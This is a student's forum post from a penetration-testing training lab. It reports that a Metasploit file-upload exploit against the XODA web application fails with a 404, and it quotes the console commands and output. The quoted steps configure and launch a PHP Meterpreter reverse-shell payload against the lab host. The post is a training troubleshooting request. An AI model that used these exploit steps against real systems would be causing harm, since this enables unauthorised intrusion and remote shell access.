# Problem with T1046 : Network Service Scanning lab

**URL:** <https://legacy-community.ine.com/t/problem-with-t1046-network-service-scanning-lab/6108>\
**Category:** Penetration Testing Student (SP)\
**Tags:** red\
**Created:** [April 7, 2026, 9:06am UTC](https://legacy-community.ine.com/t/problem-with-t1046-network-service-scanning-lab/6108 "2026-04-07T09:06:54Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![dorinbivoll-6f6de0d1](https://avatars.discourse-cdn.com/v4/letter/d/94ad74/32.png) [@dorinbivoll-6f6de0d1](https://legacy-community.ine.com/u/dorinbivoll-6f6de0d1)\
**Post date:** [April 7, 2026, 9:06am UTC](https://legacy-community.ine.com/t/problem-with-t1046-network-service-scanning-lab/6108/1 "2026-04-07T09:06:54Z")

</div>

Hi, I’m having an issue with the XODA file upload lab. I’m using the exact commands from the official solution, but the exploit fails — the server returns a 404 when trying to execute the uploaded PHP payload. My setup: `RHOSTS` set to `demo1.ine.local`, `TARGETURI` set to `/`, and `LHOST` set to my eth1 IP. The payload uploads but can’t be found/executed on the target. Has anyone else run into this? Is the lab environment possibly misconfigured?

[\*] No payload configured, defaulting to php/meterpreter/reverse\_tcp  
msf6 exploit(unix/webapp/xoda\_file\_upload) \> set RHOSTS demo1.ine.local  
RHOSTS =\> demo1.ine.local  
msf6 exploit(unix/webapp/xoda\_file\_upload) \> set TARGETURI /  
TARGETURI =\> /  
msf6 exploit(unix/webapp/xoda\_file\_upload) \> set LHOST 192.184.119.2  
LHOST =\> 192.184.119.2  
msf6 exploit(unix/webapp/xoda\_file\_upload) \> exploit

[_] Started reverse TCP handler on 192.184.119.2:4444  
[_] Sending PHP payload (ahvezE.php)  
[_] Executing PHP payload (ahvezE.php)  
[_] Server returned 404  
[\*] Exploit completed, but no session was created.  
msf6 exploit(unix/webapp/xoda\_file\_upload) \>